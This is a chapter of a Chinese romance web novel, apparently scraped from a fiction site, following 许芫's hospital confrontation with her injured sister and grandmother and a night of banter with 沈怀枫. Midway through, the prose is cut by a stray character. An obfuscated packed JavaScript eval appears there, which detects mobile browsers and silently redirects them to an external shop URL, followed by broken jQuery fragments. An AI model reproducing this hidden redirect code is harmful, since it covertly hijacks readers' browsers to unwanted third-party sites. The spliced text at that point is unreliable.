文趣网 > 都市小说 > 青柠配咖啡 > 13. 第13章
    许朝意嘴唇微张,似是不知该怎么回答。

    “我从来都没对你好过,没履行做一个好妹妹的职责,你也不用执行当姐姐的义务。”许芫说,“我的生命我自己担着,你为了别人,代价就毁了你自己,值得吗?”

    “救不救是我自己的决定,这种事不怪你。”许朝意声音极轻,轻得像水面漂浮的落叶。

    许芫摇头,宁愿许朝意打她骂她踹她,也不愿意借别人的生命换取自己的健康。

    “你还是恨我吧。”许芫把拐杖往旁边一丢,双膝扑通跪地,仰头道,“都是因为我脾气太差和奶奶起冲突,跑出去喝酒冲上马路,你为了救我才会被车撞,你快恨我,快!”

    许朝意无声地看她,一双漆黑的眼瞳里盛满悲凉。

    “许朝意!你为什么不恨我?!”许芫扯她被子,嘶声力竭,“你的腿都废了,只能坐轮椅了,以后再也练不了舞蹈了,那可是你的梦想!为了救我!十多年的努力全白费了!人生一辈子能有几个十年?!”

    给她一个最残忍的事实,能够很容易地激起对方心中的恨意。

    许朝意却仿佛只当这是一件小事,弱弱地扬唇笑:“不会治不好的,现在医术科技都很发达。”

    许芫只觉自己体内每根血管都被搅裂,声音碎得七零八落:“不要说这些空话了,快恨我,等你身体好一点,把我打得半死我也不会介意!”

    “许芫,不要说这种话……”许朝意眼泪流下来,想抓住她的手,却因自己缠着绷带束缚了手脚,直到门口传来一道厉声。

    “她恨你,难道就能让她腿康复如初吗?!”

    门被撞开,奶奶身后跟着妈妈气势汹汹走进,把人往地上用力一推,许芫身体骨头散架了般瘫倒下去。

    许芫再抬头看时,奶奶的指尖如同机关枪枪口,正对着她的脑门。

    “你不但没有给你姐说过一句道歉,还要逼她恨你,无非是为了减轻自己心里的罪恶感而已!自私自利的人永远不配得到原谅!我倒真想替你姐恨你啊,我——”

    老人冲动之下扬掌,许芫闭眼,却迟迟没有等来预想中的疼痛。

    睁眼看去,沈怀枫不知什么时候闪身到她面前,奶奶的手刹不住,就这样刮到了他的脸上。

    脆声响起时,几人都怔愣住。

    奶奶半晌才回神,盯着他:“你来干什么?”

    这一掌抡得极重,沈怀枫嘴角渗出星微的血。

    “抱歉。”他抬手擦了擦,平静道,“我只是想说,这件事不是许芫的错。”

    奶奶眉毛倒竖:“我们家的事还轮不到别人指手画脚!”

    沈怀枫还在争论着什么,许芫看着那个挡在眼前清隽笔挺的背影,眼眶又一阵发酸。

    巴掌挥在他脸上是利刃,扑到她脸上只有轻微的风。

    求求你们别再为我受苦了。

    她把沈怀枫手往后拉,阻断了混乱的吵架争辩,轻轻对他说了声:“沈怀枫,对不起。”

    再转身,对病床上的人说:“许朝意,对不起。”

    没等回应,许芫抬脚冲出门外,跌跌撞撞地跑到走廊。来往的护士被她吓了一跳,呼唤她不要在医院内乱跑。

    拐过走廊一个弯,意外来得猝不及防,许芫没看清脚下的路,忽然被绊到,整个人重心不稳,沿着阶梯滚落下去。

    世界天旋地转。

    朦胧中传来几声失措的惊叫。

    “……啊啊有人摔下楼梯了……医生快来……”

    “……许芫!!……”

    ……

    再清醒时,耳边是沈奶奶轻弱的抽泣,许芫艰难睁开眼睛一条缝,旁边还坐着爷爷。

    他身后窗外已经月挂梢头,夜晚蝉鸣悠长。

    她侧头轻唤了声沈奶奶,后者立刻哭出声,责怪她怎么那么不小心,一点也不珍惜自己的身体。

    许芫虚弱地笑,“我什么时候才能出院?”

    马上就要期末考了,她大概落下了很多功课。

    爷爷叹气,“你先养好身体,其他的事先放在一边。”

    许芫问他,“爷爷你的腰好点了吗?”

    “好了,早就好了。”爷爷笑说。

    老人脸上的皱纹被岁月刻出苍老的暮气,许芫看到后像刚尝了口柠檬,酸得她想哭。

    昨天她刚长大了一岁,没能给他们减少负担却还一味让他们担心,她能做出的最大贡献,估计就只有不给别人添乱了。

    沈怀枫买了晚饭过来,许芫摔倒后右手有点扭伤,他就像中午那时一样坐到她旁边喂菜。

    许芫还发现他还带了个深灰色折叠躺椅,应该是新买的,放在她病房里侧卫生间旁边。

    “你晚上不回去学习?”许芫问他。

    沈怀枫抬眼,“赶我走?”

    “不是……”她视线滑落到沈怀枫嘴角,红痕淡了些,却依旧刺目,脸上还留着前些天和邢颂打架的淤青。整张脸被摧毁一半,也只有五官和硬挺的面部轮廓能勉强看出原本俊朗模样。

    最近也不知道触犯了什么天雷,周围人人都多灾多难的。

    “我之前给你的药膏涂了吗?”

    “嗯。”

    许芫想了想说,“你带我爷爷去看看许朝意吧,她那边更需要人照顾。我这边有沈奶奶,不用担心。”

    沈怀枫刚把吃完饭餐盒丢进垃圾桶,听到这句时扫来视线,声音不冷不热:“现在就先别开玩笑了。”

    她没开玩笑,完全是认真的,许芫反问:“我有什么玩笑好开的?”

    “你受过的伤不比任何人小,能不能多顾着点自己?”

    许芫微怔住,不声不响地垂下眼眸。被无数次骂过自私自利,却还有人让她多想着自己。

    “痛苦不能用来比较。”许芫掖紧被角,“你就当替我去看好了,我那个……”

    爷爷开口说:“你奶奶和爸妈都在那边,人手很够,不用担心他们。怀枫说得对,你先把自己身体养好最重要。”

    许芫不再说话,沈怀枫这时候已经把那张折叠躺椅搬来,放到她床旁边,和她病床只隔一张帘子。边收拾边说道:“奶,你回去休息好了,她这边我照顾。”

    沈奶奶又嘱咐了几句就起了身,许芫半天才反应过来,有点懵:“你准备今晚睡这里?”

    “嗯。”

    许芫嘴唇微张,“……那你晚上打呼声音小一点。”

    沈怀枫睡觉根本不打鼾,她说这话完全就是本能之下呛他。沈怀枫见她恢复了调侃的兴致,扯扯嘴角:“你晚上也少嗯嗯啊啊说梦话,别让我在你嘴里听见什么关于我的秘密。”

    许芫嘁了声,“我怎么可能梦见你。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862529|212069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “那要梦见谁,邢颂?”

    “脑子病变了就赶紧去找医生开颅治病。”许芫白他一眼。

    俩人旁若无人地对峙,沈奶奶和爷爷被乐地笑两声,沈奶奶说:“小枫你注意小芫上面挂的水,还有她现在身体没好,你别老想着欺负她,有问题就叫护士。”

    沈怀枫懒懒道:“所以等她身体好了我就可以欺负是吧?”

    他奶骂他几句不正经,沈怀枫随口认错,帮她和许芫爷爷收拾了一下,带两个老人走出病房。

    将近夜晚十点,沈怀枫回来时,躺在病床的许芫侧着脸,凝望窗外的月光出神。

    沈怀枫关了门,踱步到躺椅前把叠起的毛毯敞开,坐下时说道:“大哲学家在思考什么?”

    许芫一动不动:“冥想。”

    灯被“啪嗒”关掉,房间陷入昏暗,变得如水底般寂静,一丝一毫响动都被无限放大。沈怀枫拉上和她病床之间的帘,靠在躺椅,双臂放到脑后做枕,状似漫不经意地问声,开启一段睡前闲聊。

    “许芫。”

    “嗯?”

    “你有没有……”

    “说啊,有没有什么?”

    “喜欢的人。”

    “……”

    月光从窗户渗进来,许芫偏过头,帘子映着他侧脸流畅利落的剪影,以及脖颈处突起的喉结。

    不知道他是不是窥探到了什么才问她这种问题,心脏不自主狂跳,许芫生怕它下一秒就会从体内爆炸,拳头死死按住胸口。

    “不是你说的吗,这个阶段以学习为主,其他不要多想。”许芫调整呼吸,勉励让自己声音听起来不那么僵硬。

    沈怀枫反应从容平淡,鼻腔溢出一声类似于轻笑的气息。

    “我有喜欢的人。”他说。

    如同过山车突然从云的顶端俯冲到山的谷底,许芫用力蹬了一下被子,试图用沙沙杂音盖过她胸腔内失衡的心跳。

    他心里的人现在不就躺在另外一个病房吗。

    那天风很热,许芫亲耳在教室内的墙边偷听他和金言浩的坦白,只要她认定了一件事,就永远不会有勇气去探索它其他的可能性。

    “我准备高考之后再跟她讲。”沈怀枫侧过头,视线隔着一层帘,凝望向她。

    许芫拼命咽下喉咙的涩意,摆出笑容,“是吗,那我祝你好运。”

    除了祝福,她想不出其他更加合适的说辞。

    沈怀枫没再说话,房间归于沉寂,许芫目光再度投向天边的月。估计这时候也只有它能当她互诉衷肠的唯一对象了。

    沈怀枫很少和许芫这么宁静地独处,在躺椅上睁眼半个小时都毫无睡意,倒是先听到了许芫熟睡时均匀的鼻息声。

    “沈怀……枫……沈……”

    女生鼻腔内哼出的含混声音打破寂静,沈怀枫似乎听见了自己的名字,掀开毛毯站起身。

    他拉开帘子,许芫背对着他,嘴里还在浅声嘟哝,沈怀枫静静地俯下身,耳朵稍凑过去。

    随着距离拉近,梦话的内容也越发清晰。

    “沈怀枫……是……是……我的……”

    眼睫轻颤,沈怀枫不自觉攥紧她被子一角,低头再凑近。

    “是我的……我的……我的狗。”

    沈怀枫:…??

    妈了个鸡的。